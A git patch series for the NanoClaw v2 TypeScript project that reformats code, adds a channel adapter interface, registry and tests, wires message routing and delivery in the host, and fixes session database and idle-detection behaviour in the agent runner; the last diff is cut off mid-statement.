export interface ChannelDeliveryAdapter { - deliver(channelType: string, platformId: string, threadId: string | null, kind: string, content: string): Promise; + deliver( + channelType: string, + platformId: string, + threadId: string | null, + kind: string, + content: string, + ): Promise; setTyping?(channelType: string, platformId: string, threadId: string | null): Promise; } @@ -116,7 +122,14 @@ async function deliverSessionMessages(session: Session): Promise { } async function deliverMessage( - msg: { id: string; kind: string; platform_id: string | null; channel_type: string | null; thread_id: string | null; content: string }, + msg: { + id: string; + kind: string; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + content: string; + }, session: Session, ): Promise { if (!deliveryAdapter) { diff --git a/src/host-core.test.ts b/src/host-core.test.ts index 9f38604..960e3a6 100644 --- a/src/host-core.test.ts +++ b/src/host-core.test.ts @@ -8,8 +8,22 @@ import fs from 'fs'; import path from 'path'; import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; -import { initTestDb, closeDb, runMigrations, createAgentGroup, createMessagingGroup, createMessagingGroupAgent } from './db/index.js'; -import { resolveSession, writeSessionMessage, initSessionFolder, sessionDir, sessionDbPath, sessionsBaseDir } from './session-manager.js'; +import { + initTestDb, + closeDb, + runMigrations, + createAgentGroup, + createMessagingGroup, + createMessagingGroupAgent, +} from './db/index.js'; +import { + resolveSession, + writeSessionMessage, + initSessionFolder, + sessionDir, + sessionDbPath, + sessionsBaseDir, +} from './session-manager.js'; import { getSession, findSession } from './db/sessions.js'; import type { InboundEvent } from './router-v2.js'; @@ -50,8 +64,24 @@ afterEach(() => { describe('session manager', () => { beforeEach(() => { - createAgentGroup({ id: 'ag-1', name: 'Test Agent', folder: 'test-agent', is_admin: 0, agent_provider: null, container_config: null, created_at: now() }); - createMessagingGroup({ id: 'mg-1', channel_type: 'discord', platform_id: 'chan-123', name: 'General', is_group: 1, admin_user_id: null, created_at: now() }); + createAgentGroup({ + id: 'ag-1', + name: 'Test Agent', + folder: 'test-agent', + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now(), + }); + createMessagingGroup({ + id: 'mg-1', + channel_type: 'discord', + platform_id: 'chan-123', + name: 'General', + is_group: 1, + admin_user_id: null, + created_at: now(), + }); }); it('should create session folder and DB', () => { @@ -110,7 +140,12 @@ describe('session manager', () => { // Read from the session DB const dbPath = sessionDbPath('ag-1', session.id); const db = new Database(dbPath); - const rows = db.prepare('SELECT * FROM messages_in').all() as Array<{ id: string; kind: string; status: string; content: string }>; + const rows = db.prepare('SELECT * FROM messages_in').all() as Array<{ + id: string; + kind: string; + status: string; + content: string; + }>; db.close(); expect(rows).toHaveLength(1); @@ -136,9 +171,34 @@ describe('session manager', () => { describe('router', () => { beforeEach(() => { - createAgentGroup({ id: 'ag-1', name: 'Test Agent', folder: 'test-agent', is_admin: 0, agent_provider: null, container_config: null, created_at: now() }); - createMessagingGroup({ id: 'mg-1', channel_type: 'discord', platform_id: 'chan-123', name: 'General', is_group: 1, admin_user_id: null, created_at: now() }); - createMessagingGroupAgent({ id: 'mga-1', messaging_group_id: 'mg-1', agent_group_id: 'ag-1', trigger_rules: null, response_scope: 'all', session_mode: 'shared', priority: 0, created_at: now() }); + createAgentGroup({ + id: 'ag-1', + name: 'Test Agent', + folder: 'test-agent', + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now(), + }); + createMessagingGroup({ + id: 'mg-1', + channel_type: 'discord', + platform_id: 'chan-123', + name: 'General', + is_group: 1, + admin_user_id: null, + created_at: now(), + }); + createMessagingGroupAgent({ + id: 'mga-1', + messaging_group_id: 'mg-1', + agent_group_id: 'ag-1', + trigger_rules: null, + response_scope: 'all', + session_mode: 'shared', + priority: 0, + created_at: now(), + }); }); it('should route a message end-to-end', async () => { @@ -215,7 +275,12 @@ describe('router', () => { channelType: 'discord', platformId: 'chan-123', threadId: null, - message: { id: 'msg-b', kind: 'chat', content: JSON.stringify({ sender: 'B', text: 'Second' }), timestamp: now() }, + message: { + id: 'msg-b', + kind: 'chat', + content: JSON.stringify({ sender: 'B', text: 'Second' }), + timestamp: now(), + }, }); // Both should be in the same session @@ -231,8 +296,24 @@ describe('router', () => { describe('delivery', () => { it('should detect undelivered messages in session DB', () => { - createAgentGroup({ id: 'ag-1', name: 'Agent', folder: 'agent', is_admin: 0, agent_provider: null, container_config: null, created_at: now() }); - createMessagingGroup({ id: 'mg-test', channel_type: 'discord', platform_id: 'chan-test', name: 'Test', is_group: 0, admin_user_id: null, created_at: now() }); + createAgentGroup({ + id: 'ag-1', + name: 'Agent', + folder: 'agent', + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now(), + }); + createMessagingGroup({ + id: 'mg-test', + channel_type: 'discord', + platform_id: 'chan-test', + name: 'Test', + is_group: 0, + admin_user_id: null, + created_at: now(), + }); const { session } = resolveSession('ag-1', 'mg-test', null, 'shared'); @@ -245,7 +326,10 @@ describe('delivery', () => { VALUES ('out-1', datetime('now'), 0, 'chat', 'chan-123', 'discord', ?)`, ).run(JSON.stringify({ text: 'Agent response' })); - const undelivered = db.prepare("SELECT * FROM messages_out WHERE delivered = 0").all() as Array<{ id: string; content: string }>; + const undelivered = db.prepare('SELECT * FROM messages_out WHERE delivered = 0').all() as Array<{ + id: string; + content: string; + }>; db.close(); expect(undelivered).toHaveLength(1); diff --git a/src/host-sweep.ts b/src/host-sweep.ts index 431f04a..bcc4666 100644 --- a/src/host-sweep.ts +++ b/src/host-sweep.ts @@ -89,12 +89,16 @@ async function sweepSession(session: Session): Promise { for (const msg of staleMessages) { if (msg.tries >= MAX_TRIES) { - db.prepare("UPDATE messages_in SET status = 'failed', status_changed = datetime('now') WHERE id = ?").run(msg.id); + db.prepare("UPDATE messages_in SET status = 'failed', status_changed = datetime('now') WHERE id = ?").run( + msg.id, + ); log.warn('Message marked as failed after max retries', { messageId: msg.id, sessionId: session.id }); } else { const backoffMs = BACKOFF_BASE_MS * Math.pow(2, msg.tries); const backoffSec = Math.floor(backoffMs / 1000); - db.prepare(`UPDATE messages_in SET status = 'pending', status_changed = datetime('now'), process_after = datetime('now', '+${backoffSec} seconds') WHERE id = ?`).run(msg.id); + db.prepare( + `UPDATE messages_in SET status = 'pending', status_changed = datetime('now'), process_after = datetime('now', '+${backoffSec} seconds') WHERE id = ?`, + ).run(msg.id); log.info('Reset stale message with backoff', { messageId: msg.id, tries: msg.tries, backoffMs }); } } @@ -102,7 +106,16 @@ async function sweepSession(session: Session): Promise { // 3. Handle recurrence for completed messages const completedRecurring = db .prepare("SELECT * FROM messages_in WHERE status = 'completed' AND recurrence IS NOT NULL") - .all() as Array<{ id: string; kind: string; content: string; recurrence: string; process_after: string | null; platform_id: string | null; channel_type: string | null; thread_id: string | null }>; + .all() as Array<{ + id: string; + kind: string; + content: string; + recurrence: string; + process_after: string | null; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + }>; for (const msg of completedRecurring) { try { @@ -118,7 +131,7 @@ async function sweepSession(session: Session): Promise { ).run(newId, msg.kind, nextRun, msg.recurrence, msg.platform_id, msg.channel_type, msg.thread_id, msg.content); // Remove recurrence from the completed message so it doesn't spawn again - db.prepare("UPDATE messages_in SET recurrence = NULL WHERE id = ?").run(msg.id); + db.prepare('UPDATE messages_in SET recurrence = NULL WHERE id = ?').run(msg.id); log.info('Inserted next recurrence', { originalId: msg.id, newId, nextRun }); } catch (err) { diff --git a/src/router-v2.ts b/src/router-v2.ts index ee08d5e..3859576 100644 --- a/src/router-v2.ts +++ b/src/router-v2.ts @@ -48,13 +48,20 @@ export async function routeInbound(event: InboundEvent): Promise { created_at: new Date().toISOString(), }; createMessagingGroup(mg); - log.info('Auto-created messaging group', { id: mgId, channelType: event.channelType, platformId: event.platformId }); + log.info('Auto-created messaging group', { + id: mgId, + channelType: event.channelType, + platformId: event.platformId, + }); } // 2. Resolve agent group via messaging_group_agents const agents = getMessagingGroupAgents(mg.id); if (agents.length === 0) { - log.warn('No agent groups configured for messaging group', { messagingGroupId: mg.id, platformId: event.platformId }); + log.warn('No agent groups configured for messaging group', { + messagingGroupId: mg.id, + platformId: event.platformId, + }); return; } @@ -79,7 +86,12 @@ export async function routeInbound(event: InboundEvent): Promise { content: event.message.content, }); - log.info('Message routed', { sessionId: session.id, agentGroup: match.agent_group_id, kind: event.message.kind, created }); + log.info('Message routed', { + sessionId: session.id, + agentGroup: match.agent_group_id, + kind: event.message.kind, + created, + }); // 5. Wake container const freshSession = getSession(session.id); diff --git a/src/session-manager.ts b/src/session-manager.ts index ae07577..361c198 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -35,7 +35,12 @@ function generateId(): string { * Find or create a session for a messaging group + thread. * Returns the session and whether it was newly created. */ -export function resolveSession(agentGroupId: string, messagingGroupId: string, threadId: string | null, sessionMode: 'shared' | 'per-thread'): { session: Session; created: boolean } { +export function resolveSession( + agentGroupId: string, + messagingGroupId: string, + threadId: string | null, + sessionMode: 'shared' | 'per-thread', +): { session: Session; created: boolean } { // For shared mode, look for any active session with this messaging group (threadId ignored) // For per-thread mode, look for an active session with this specific thread const lookupThreadId = sessionMode === 'shared' ? null : threadId; @@ -83,17 +88,21 @@ export function initSessionFolder(agentGroupId: string, sessionId: string): void } /** Write a message to a session's messages_in table. */ -export function writeSessionMessage(agentGroupId: string, sessionId: string, message: { - id: string; - kind: string; - timestamp: string; - platformId?: string | null; - channelType?: string | null; - threadId?: string | null; - content: string; - processAfter?: string | null; - recurrence?: string | null; -}): void { +export function writeSessionMessage( + agentGroupId: string, + sessionId: string, + message: { + id: string; + kind: string; + timestamp: string; + platformId?: string | null; + channelType?: string | null; + threadId?: string | null; + content: string; + processAfter?: string | null; + recurrence?: string | null; + }, +): void { const dbPath = sessionDbPath(agentGroupId, sessionId); const db = new Database(dbPath); db.pragma('journal_mode = WAL'); From 7201fe503223ed3f1411c95e41a740d3e7eb36f6 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 00:10:46 +0300 Subject: [PATCH 014/295] v2 phase 4: channel adapter interface, registry, and host wiring ChannelAdapter interface with setup/deliver/teardown/setTyping lifecycle. Self-registration pattern via channel-registry. Host wiring in index-v2 bridges inbound messages to routeInbound and outbound delivery to adapters. Co-Authored-By: Claude Opus 4.6 (1M context) --- src/channels/adapter.ts | 79 +++++++++ src/channels/channel-registry.test.ts | 227 ++++++++++++++++++++++++++ src/channels/channel-registry.ts | 72 ++++++++ src/db/index.ts | 1 + src/db/messaging-groups.ts | 6 + src/index-v2.ts | 107 +++++++++++- 6 files changed, 483 insertions(+), 9 deletions(-) create mode 100644 src/channels/adapter.ts create mode 100644 src/channels/channel-registry.test.ts create mode 100644 src/channels/channel-registry.ts diff --git a/src/channels/adapter.ts b/src/channels/adapter.ts new file mode 100644 index 0000000..0bd5edd --- /dev/null +++ b/src/channels/adapter.ts @@ -0,0 +1,79 @@ +/** + * v2 Channel Adapter interface. + * + * Channel adapters bridge NanoClaw with messaging platforms (Discord, Slack, etc.). + * Two patterns: native adapters (implement directly) or Chat SDK bridge (wrap a Chat SDK adapter). + */ + +/** Configuration for a registered conversation (messaging group + agent wiring). */ +export interface ConversationConfig { + platformId: string; + agentGroupId: string; + triggerPattern?: string; // regex string (for native channels) + requiresTrigger: boolean; + sessionMode: 'shared' | 'per-thread'; +} + +/** Passed to the adapter at setup time. */ +export interface ChannelSetup { + /** Known conversations from central DB. */ + conversations: ConversationConfig[]; + + /** Called when an inbound message arrives from the platform. */ + onInbound(platformId: string, threadId: string | null, message: InboundMessage): void; + + /** Called when the adapter discovers metadata about a conversation. */ + onMetadata(platformId: string, name?: string, isGroup?: boolean): void; +} + +/** Inbound message from adapter to host. */ +export interface InboundMessage { + id: string; + kind: 'chat' | 'chat-sdk'; + content: unknown; // JS object — host will JSON.stringify before writing to session DB + timestamp: string; +} + +/** Outbound message from host to adapter. */ +export interface OutboundMessage { + kind: string; + content: unknown; // parsed JSON from messages_out +} + +/** Discovered conversation info (from syncConversations). */ +export interface ConversationInfo { + platformId: string; + name: string; + isGroup: boolean; +} + +/** The v2 channel adapter contract. */ +export interface ChannelAdapter { + name: string; + channelType: string; + + // Lifecycle + setup(config: ChannelSetup): Promise; + teardown(): Promise; + isConnected(): boolean; + + // Outbound delivery + deliver(platformId: string, threadId: string | null, message: OutboundMessage): Promise; + + // Optional + setTyping?(platformId: string, threadId: string | null): Promise; + syncConversations?(): Promise; + updateConversations?(conversations: ConversationConfig[]): void; +} + +/** Factory function that creates a channel adapter (returns null if credentials missing). */ +export type ChannelAdapterFactory = () => ChannelAdapter | null; + +/** Registration entry for a channel adapter. */ +export interface ChannelRegistration { + factory: ChannelAdapterFactory; + containerConfig?: { + mounts?: Array<{ hostPath: string; containerPath: string; readonly: boolean }>; + env?: Record; + }; +} diff --git a/src/channels/channel-registry.test.ts b/src/channels/channel-registry.test.ts new file mode 100644 index 0000000..4032b7a --- /dev/null +++ b/src/channels/channel-registry.test.ts @@ -0,0 +1,227 @@ +/** + * Tests for the v2 channel adapter registry and integration with host. + */ +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import Database from 'better-sqlite3'; +import fs from 'fs'; + +import type { ChannelAdapter, ChannelSetup, InboundMessage, OutboundMessage } from './adapter.js'; + +// Mock container runner +vi.mock('../container-runner-v2.js', () => ({ + wakeContainer: vi.fn().mockResolvedValue(undefined), + resetContainerIdleTimer: vi.fn(), + isContainerRunning: vi.fn().mockReturnValue(false), + getActiveContainerCount: vi.fn().mockReturnValue(0), + killContainer: vi.fn(), +})); + +// Override DATA_DIR for tests +vi.mock('../config.js', async () => { + const actual = await vi.importActual('../config.js'); + return { ...actual, DATA_DIR: '/tmp/nanoclaw-test-channels' }; +}); + +const TEST_DIR = '/tmp/nanoclaw-test-channels'; + +function now() { + return new Date().toISOString(); +} + +/** Create a mock ChannelAdapter for testing. */ +function createMockAdapter(channelType: string): ChannelAdapter & { delivered: OutboundMessage[]; inbound: InboundMessage[] } { + const delivered: OutboundMessage[] = []; + const inbound: InboundMessage[] = []; + let setupConfig: ChannelSetup | null = null; + + return { + name: channelType, + channelType, + delivered, + inbound, + + async setup(config: ChannelSetup) { + setupConfig = config; + }, + + async teardown() { + setupConfig = null; + }, + + isConnected() { + return setupConfig !== null; + }, + + async deliver(_platformId: string, _threadId: string | null, message: OutboundMessage) { + delivered.push(message); + }, + + async setTyping() {}, + + updateConversations() {}, + }; +} + +describe('channel registry', () => { + // Import fresh modules for each test to avoid registry pollution + beforeEach(async () => { + if (fs.existsSync(TEST_DIR)) fs.rmSync(TEST_DIR, { recursive: true }); + fs.mkdirSync(TEST_DIR, { recursive: true }); + }); + + afterEach(() => { + if (fs.existsSync(TEST_DIR)) fs.rmSync(TEST_DIR, { recursive: true }); + }); + + it('should register and retrieve channel adapters', async () => { + const { registerChannelAdapter, getRegisteredChannelNames, getChannelContainerConfig } = await import( + './channel-registry.js' + ); + + registerChannelAdapter('test-channel', { + factory: () => createMockAdapter('test'), + containerConfig: { + env: { TEST_KEY: 'value' }, + }, + }); + + expect(getRegisteredChannelNames()).toContain('test-channel'); + expect(getChannelContainerConfig('test-channel')).toEqual({ + env: { TEST_KEY: 'value' }, + }); + }); + + it('should skip adapters that return null (missing credentials)', async () => { + const { registerChannelAdapter, initChannelAdapters, getActiveAdapters } = await import('./channel-registry.js'); + + registerChannelAdapter('no-creds', { + factory: () => null, + }); + + await initChannelAdapters(() => ({ + conversations: [], + onInbound: () => {}, + onMetadata: () => {}, + })); + + // Should not have any active adapters for channels with null factory returns + const active = getActiveAdapters(); + const noCreds = active.find((a) => a.name === 'no-creds'); + expect(noCreds).toBeUndefined(); + }); +}); + +describe('channel + router integration', () => { + beforeEach(async () => { + if (fs.existsSync(TEST_DIR)) fs.rmSync(TEST_DIR, { recursive: true }); + fs.mkdirSync(TEST_DIR, { recursive: true }); + + const { initTestDb, runMigrations, createAgentGroup, createMessagingGroup, createMessagingGroupAgent } = + await import('../db/index.js'); + const db = initTestDb(); + runMigrations(db); + + createAgentGroup({ + id: 'ag-1', + name: 'Test Agent', + folder: 'test-agent', + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now(), + }); + createMessagingGroup({ + id: 'mg-1', + channel_type: 'mock', + platform_id: 'chan-100', + name: 'Test Channel', + is_group: 1, + admin_user_id: null, + created_at: now(), + }); + createMessagingGroupAgent({ + id: 'mga-1', + messaging_group_id: 'mg-1', + agent_group_id: 'ag-1', + trigger_rules: null, + response_scope: 'all', + session_mode: 'shared', + priority: 0, + created_at: now(), + }); + }); + + afterEach(async () => { + const { closeDb } = await import('../db/index.js'); + closeDb(); + if (fs.existsSync(TEST_DIR)) fs.rmSync(TEST_DIR, { recursive: true }); + }); + + it('should route inbound message from adapter to session DB', async () => { + const { routeInbound } = await import('../router-v2.js'); + const { findSession } = await import('../db/sessions.js'); + const { sessionDbPath } = await import('../session-manager.js'); + + // Simulate what the adapter bridge does: stringify content, call routeInbound + const inboundContent = { sender: 'TestUser', senderId: 'u1', text: 'Hello from adapter', isFromMe: false }; + + await routeInbound({ + channelType: 'mock', + platformId: 'chan-100', + threadId: null, + message: { + id: 'msg-adapter-1', + kind: 'chat', + content: JSON.stringify(inboundContent), + timestamp: now(), + }, + }); + + // Verify session was created and message written + const session = findSession('mg-1', null); + expect(session).toBeDefined(); + + const dbPath = sessionDbPath('ag-1', session!.id); + const db = new Database(dbPath); + const rows = db.prepare('SELECT * FROM messages_in').all() as Array<{ id: string; content: string }>; + db.close(); + + expect(rows).toHaveLength(1); + expect(JSON.parse(rows[0].content).text).toBe('Hello from adapter'); + }); + + it('should deliver outbound message through delivery adapter bridge', async () => { + const { setDeliveryAdapter } = await import('../delivery.js'); + const { getChannelAdapter, registerChannelAdapter, initChannelAdapters } = await import('./channel-registry.js'); + + // Register and init a mock adapter + const mockAdapter = createMockAdapter('mock'); + registerChannelAdapter('mock-delivery', { + factory: () => mockAdapter, + }); + + await initChannelAdapters((adapter) => ({ + conversations: [], + onInbound: () => {}, + onMetadata: () => {}, + })); + + // Set up delivery adapter bridge (same pattern as index-v2.ts) + setDeliveryAdapter({ + async deliver(channelType, platformId, threadId, kind, content) { + const adapter = getChannelAdapter(channelType); + if (!adapter) return; + await adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content) }); + }, + }); + + // Simulate delivery + const adapter = getChannelAdapter('mock'); + if (adapter) { + await adapter.deliver('chan-100', null, { kind: 'chat', content: { text: 'Agent response' } }); + } + + expect(mockAdapter.delivered).toHaveLength(1); + expect((mockAdapter.delivered[0].content as { text: string }).text).toBe('Agent response'); + }); +}); diff --git a/src/channels/channel-registry.ts b/src/channels/channel-registry.ts new file mode 100644 index 0000000..d327d33 --- /dev/null +++ b/src/channels/channel-registry.ts @@ -0,0 +1,72 @@ +/** + * v2 Channel adapter registry. + * + * Channels self-register on import. The host calls initChannelAdapters() at startup + * to instantiate and set up all registered adapters. + */ +import type { ChannelAdapter, ChannelRegistration, ChannelSetup } from './adapter.js'; +import { log } from '../log.js'; + +const registry = new Map(); +const activeAdapters = new Map(); + +/** Register a channel adapter factory. Called by channel modules on import. */ +export function registerChannelAdapter(name: string, registration: ChannelRegistration): void { + registry.set(name, registration); +} + +/** Get a live adapter by channel type. */ +export function getChannelAdapter(channelType: string): ChannelAdapter | undefined { + return activeAdapters.get(channelType); +} + +/** Get all active adapters. */ +export function getActiveAdapters(): ChannelAdapter[] { + return [...activeAdapters.values()]; +} + +/** Get all registered channel names. */ +export function getRegisteredChannelNames(): string[] { + return [...registry.keys()]; +} + +/** Get container config for a channel (used by container-runner for additional mounts/env). */ +export function getChannelContainerConfig(name: string): ChannelRegistration['containerConfig'] { + return registry.get(name)?.containerConfig; +} + +/** + * Instantiate and set up all registered channel adapters. + * Skips adapters that return null (missing credentials). + */ +export async function initChannelAdapters(setupFn: (adapter: ChannelAdapter) => ChannelSetup): Promise { + for (const [name, registration] of registry) { + try { + const adapter = registration.factory(); + if (!adapter) { + log.warn('Channel credentials missing, skipping', { channel: name }); + continue; + } + + const setup = setupFn(adapter); + await adapter.setup(setup); + activeAdapters.set(adapter.channelType, adapter); + log.info('Channel adapter started', { channel: name, type: adapter.channelType }); + } catch (err) { + log.error('Failed to start channel adapter', { channel: name, err }); + } + } +} + +/** Tear down all active adapters. */ +export async function teardownChannelAdapters(): Promise { + for (const [name, adapter] of activeAdapters) { + try { + await adapter.teardown(); + log.info('Channel adapter stopped', { channel: name }); + } catch (err) { + log.error('Failed to stop channel adapter', { channel: name, err }); + } + } + activeAdapters.clear(); +} diff --git a/src/db/index.ts b/src/db/index.ts index 35645cb..33b3a94 100644 --- a/src/db/index.ts +++ b/src/db/index.ts @@ -14,6 +14,7 @@ export { getMessagingGroup, getMessagingGroupByPlatform, getAllMessagingGroups, + getMessagingGroupsByChannel, updateMessagingGroup, deleteMessagingGroup, createMessagingGroupAgent, diff --git a/src/db/messaging-groups.ts b/src/db/messaging-groups.ts index 40a9702..5d431f9 100644 --- a/src/db/messaging-groups.ts +++ b/src/db/messaging-groups.ts @@ -26,6 +26,12 @@ export function getAllMessagingGroups(): MessagingGroup[] { return getDb().prepare('SELECT * FROM messaging_groups ORDER BY name').all() as MessagingGroup[]; } +export function getMessagingGroupsByChannel(channelType: string): MessagingGroup[] { + return getDb() + .prepare('SELECT * FROM messaging_groups WHERE channel_type = ?') + .all(channelType) as MessagingGroup[]; +} + export function updateMessagingGroup( id: string, updates: Partial>, diff --git a/src/index-v2.ts b/src/index-v2.ts index 07da575..eb2428b 100644 --- a/src/index-v2.ts +++ b/src/index-v2.ts @@ -1,19 +1,31 @@ /** * NanoClaw v2 — main entry point. * - * Thin orchestrator: init DB, run migrations, start delivery polls, start sweep. - * Channel adapters are started separately (Phase 4). + * Thin orchestrator: init DB, run migrations, start channel adapters, + * start delivery polls, start sweep, handle shutdown. */ import path from 'path'; import { DATA_DIR } from './config.js'; import { initDb } from './db/connection.js'; import { runMigrations } from './db/migrations/index.js'; +import { getMessagingGroupsByChannel, getMessagingGroupAgents } from './db/messaging-groups.js'; import { ensureContainerRuntimeRunning, cleanupOrphans } from './container-runtime.js'; -import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter } from './delivery.js'; -import { startHostSweep } from './host-sweep.js'; +import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter, stopDeliveryPolls } from './delivery.js'; +import { startHostSweep, stopHostSweep } from './host-sweep.js'; +import { routeInbound } from './router-v2.js'; import { log } from './log.js'; +// Channel imports — each triggers self-registration +// import './channels/discord-v2.js'; + +import type { ChannelAdapter, ChannelSetup, ConversationConfig } from './channels/adapter.js'; +import { + initChannelAdapters, + teardownChannelAdapters, + getChannelAdapter, +} from './channels/channel-registry.js'; + async function main(): Promise { log.info('NanoClaw v2 starting'); @@ -27,22 +39,99 @@ async function main(): Promise { ensureContainerRuntimeRunning(); cleanupOrphans(); - // 3. Channel adapters (Phase 4 — placeholder) - // TODO: init channel adapters, set up delivery adapter - // setDeliveryAdapter({ deliver: async (...) => { ... } }); + // 3. Channel adapters + await initChannelAdapters((adapter: ChannelAdapter): ChannelSetup => { + const conversations = buildConversationConfigs(adapter.channelType); + return { + conversations, + onInbound(platformId, threadId, message) { + routeInbound({ + channelType: adapter.channelType, + platformId, + threadId, + message: { + id: message.id, + kind: message.kind, + content: JSON.stringify(message.content), + timestamp: message.timestamp, + }, + }).catch((err) => { + log.error('Failed to route inbound message', { channelType: adapter.channelType, err }); + }); + }, + onMetadata(platformId, name, isGroup) { + log.info('Channel metadata discovered', { + channelType: adapter.channelType, + platformId, + name, + isGroup, + }); + }, + }; + }); - // 4. Start delivery polls + // 4. Delivery adapter bridge — dispatches to channel adapters + setDeliveryAdapter({ + async deliver(channelType, platformId, threadId, kind, content) { + const adapter = getChannelAdapter(channelType); + if (!adapter) { + log.warn('No adapter for channel type', { channelType }); + return; + } + await adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content) }); + }, + async setTyping(channelType, platformId, threadId) { + const adapter = getChannelAdapter(channelType); + await adapter?.setTyping?.(platformId, threadId); + }, + }); + + // 5. Start delivery polls startActiveDeliveryPoll(); startSweepDeliveryPoll(); log.info('Delivery polls started'); - // 5. Start host sweep + // 6. Start host sweep startHostSweep(); log.info('Host sweep started'); log.info('NanoClaw v2 running'); } +/** Build ConversationConfig[] for a channel type from the central DB. */ +function buildConversationConfigs(channelType: string): ConversationConfig[] { + const groups = getMessagingGroupsByChannel(channelType); + const configs: ConversationConfig[] = []; + + for (const mg of groups) { + const agents = getMessagingGroupAgents(mg.id); + for (const agent of agents) { + const triggerRules = agent.trigger_rules ? JSON.parse(agent.trigger_rules) : null; + configs.push({ + platformId: mg.platform_id, + agentGroupId: agent.agent_group_id, + triggerPattern: triggerRules?.pattern, + requiresTrigger: triggerRules?.requiresTrigger ?? false, + sessionMode: agent.session_mode, + }); + } + } + + return configs; +} + +/** Graceful shutdown. */ +async function shutdown(signal: string): Promise { + log.info('Shutdown signal received', { signal }); + stopDeliveryPolls(); + stopHostSweep(); + await teardownChannelAdapters(); + process.exit(0); +} + +process.on('SIGTERM', () => shutdown('SIGTERM')); +process.on('SIGINT', () => shutdown('SIGINT')); + main().catch((err) => { log.fatal('Startup failed', { err }); process.exit(1); From 6f2a7314d01966fc7ceb31f1c479b9b8246a303b Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 01:34:59 +0300 Subject: [PATCH 015/295] v2: fix agent-runner lifecycle and session DB reliability - Use DELETE journal mode for session DBs instead of WAL. WAL doesn't sync reliably across Docker volume mounts (VirtioFS), causing dropped writes and duplicate deliveries. - Add 20s idle detection to end the query stream. The concurrent poll tracks SDK activity via a new 'activity' provider event. When no SDK events arrive for 20s and no messages are pending, the stream ends and the poll loop continues. - Add touchProcessing heartbeat so the host can distinguish active agents from idle ones by checking status_changed recency. - Catch query errors in the poll loop and write error responses to messages_out instead of crashing the process. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/db/connection.ts | 2 +- container/agent-runner/src/db/messages-in.ts | 8 +++ container/agent-runner/src/poll-loop.test.ts | 9 +-- container/agent-runner/src/poll-loop.ts | 58 +++++++++++++------ .../agent-runner/src/providers/claude.ts | 4 +- container/agent-runner/src/providers/mock.ts | 2 + container/agent-runner/src/providers/types.ts | 3 +- src/session-manager.ts | 6 +- 8 files changed, 64 insertions(+), 28 deletions(-) diff --git a/container/agent-runner/src/db/connection.ts b/container/agent-runner/src/db/connection.ts index 9e71e58..a59d731 100644 --- a/container/agent-runner/src/db/connection.ts +++ b/container/agent-runner/src/db/connection.ts @@ -7,7 +7,7 @@ let _db: Database.Database | null = null; export function getSessionDb(): Database.Database { if (!_db) { _db = new Database(process.env.SESSION_DB_PATH || SESSION_DB_PATH); - _db.pragma('journal_mode = WAL'); + _db.pragma('journal_mode = DELETE'); _db.pragma('foreign_keys = ON'); } return _db; diff --git a/container/agent-runner/src/db/messages-in.ts b/container/agent-runner/src/db/messages-in.ts index a68071b..d97a4ba 100644 --- a/container/agent-runner/src/db/messages-in.ts +++ b/container/agent-runner/src/db/messages-in.ts @@ -47,6 +47,14 @@ export function markCompleted(ids: string[]): void { })(); } +/** Update status_changed on processing messages (heartbeat for host idle detection). */ +export function touchProcessing(ids: string[]): void { + if (ids.length === 0) return; + const db = getSessionDb(); + const stmt = db.prepare("UPDATE messages_in SET status_changed = datetime('now') WHERE id = ? AND status = 'processing'"); + for (const id of ids) stmt.run(id); +} + /** Mark a single message as failed. */ export function markFailed(id: string): void { getSessionDb().prepare("UPDATE messages_in SET status = 'failed', status_changed = datetime('now') WHERE id = ?").run(id); diff --git a/container/agent-runner/src/poll-loop.test.ts b/container/agent-runner/src/poll-loop.test.ts index 7cc3074..03fc0c7 100644 --- a/container/agent-runner/src/poll-loop.test.ts +++ b/container/agent-runner/src/poll-loop.test.ts @@ -120,10 +120,11 @@ describe('mock provider', () => { events.push(event); } - expect(events.length).toBeGreaterThanOrEqual(2); - expect(events[0].type).toBe('init'); - expect(events[1].type).toBe('result'); - expect((events[1] as { text: string }).text).toBe('Echo: Hello'); + const typed = events.filter((e) => e.type !== 'activity'); + expect(typed.length).toBeGreaterThanOrEqual(2); + expect(typed[0].type).toBe('init'); + expect(typed[1].type).toBe('result'); + expect((typed[1] as { text: string }).text).toBe('Echo: Hello'); }); it('should handle push() during active query', async () => { diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index e2712a5..8ae1238 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -1,10 +1,11 @@ -import { getPendingMessages, markProcessing, markCompleted } from './db/messages-in.js'; +import { getPendingMessages, markProcessing, markCompleted, touchProcessing } from './db/messages-in.js'; import { writeMessageOut } from './db/messages-out.js'; import { formatMessages, extractRouting, type RoutingContext } from './formatter.js'; import type { AgentProvider, AgentQuery, McpServerConfig, ProviderEvent } from './providers/types.js'; const POLL_INTERVAL_MS = 1000; const ACTIVE_POLL_INTERVAL_MS = 500; +const IDLE_END_MS = 20_000; // End stream after 20s with no SDK events function log(msg: string): void { console.error(`[poll-loop] ${msg}`); @@ -68,10 +69,22 @@ export async function runPollLoop(config: PollLoopConfig): Promise { }); // Process the query while concurrently polling for new messages - const result = await processQuery(query, routing, config); - - if (result.sessionId) sessionId = result.sessionId; - if (result.resumeAt) resumeAt = result.resumeAt; + try { + const result = await processQuery(query, routing, config, ids); + if (result.sessionId) sessionId = result.sessionId; + if (result.resumeAt) resumeAt = result.resumeAt; + } catch (err) { + log(`Query error: ${err instanceof Error ? err.message : String(err)}`); + // Write error response so the user knows something went wrong + writeMessageOut({ + id: generateId(), + kind: 'chat', + platform_id: routing.platformId, + channel_type: routing.channelType, + thread_id: routing.threadId, 